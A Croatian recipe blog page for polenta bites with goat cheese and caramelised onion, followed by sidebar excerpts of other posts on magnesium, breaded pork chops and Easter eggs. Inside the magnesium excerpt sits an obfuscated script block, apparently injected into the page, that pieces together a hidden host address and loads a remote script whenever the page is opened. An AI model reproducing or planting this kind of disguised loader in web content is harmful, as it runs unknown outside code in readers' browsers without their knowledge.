ZALOGAJČIĆI OD PALENTE SA SIROM




Zalogajčići od palente sa sirom 



Predlažemo da pripremite i jednostavan džem od luka koji izvrsno pristaje uz palentu, a poslužit će i chutney od jabuka ili krušaka, sotirane gljive ili domaća šalša.




Zalogajčići od palente sa sirom 


Sastojci:

Za palentu:

250 g palente 
1 l vode 
10 g maslaca 
150 g polutvrdog kozjeg sira 
Sol 



Za karamelizirani luk:

2 velike glavice ljubičastog luka 
Maslinovo ulje 
10 g maslaca 
2 žlice balzamičnog octa 
1 žlica smeđeg šećera 
Prstohvat soli 




Priprema:

Pripremite četvrtastu posudu za pečenje dimenzija 30*20 cm i obložite je papirom za pečenje.

U slanu vodu dodajte palentu pa kuhajte nekoliko minuta dok ne dobijete gustu smjesu, a potom umiješajte malo maslaca i naribani sir.

Prebacite palentu u pripremljenu posudu i pustite da se u potpunosti ohladi.

To možete napraviti i dan ranije te je čuvati u hladnjaku.

Ohlađenu palentu narežite na trokute pa svaki premažite s malo maslinova ulja.

Zapecite svaki komad na zagrijanoj grill tavi na vrlo količini maslinova ulja.

U drugu tavu dodajte dvije žlice maslinova ulja, kockicu maslaca i pričekajte da se zagriju.

Dodajte luk nasjeckan na kolutove i pirjajte na srednje jakoj vatri dok ne omekša uz povremeno miješanje.

Kad luk omekša dodajte šećer i balzamični ocat.

Dobro promiješajte pa pirjajte još nekoliko minuta dok ocat ne ispari.

Palentu poslužite uz karamelizirani luk.

Dobar tek!




Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

BOJANJE JAJA ZA USKRS - KREATIVNE IDEJE KOJE ĆE VAS ODUŠEVITI

Slika
Bojanje jaja za Uskrs - kreativne ideje koje će vas oduševiti  Bojanje jaja za Uskrs jedna je od najdražih blagdanskih tradicija koja svake godine okuplja obitelj oko stola i potiče kreativnost. Uz malo mašte i jednostavne trikove, uskrsna jaja postaju prava mala umjetnička djela koja će uljepšati blagdanski stol i donijeti dozu veselja u svaki dom. Povratak prirodi: kako obojiti jaja prirodnim bojama? Prije pojave umjetnih boja, naši su preci koristili ono što su imali u kuhinji i prirodi. Danas se vraćamo toj praksi, ne samo zbog zdravijih i ekološki prihvatljivijih rješenja, već i zbog čarolije stvaranja jedinstvenih, zemljanih tonova. Proces je zapravo svojevrsni znanstveni eksperiment za djecu, jer nikad niste posve sigurni kakvu ćete nijansu dobiti. Osnovni recept je jednostavan: odabrani sastojak kuhajte u vodi tridesetak minuta s jednom do dvije žlice octa, koji pomaže da se boja bolje primi za ljusku. Nakon toga procijedite tekućinu i u nju uronite već kuhana j...
Pročitajte više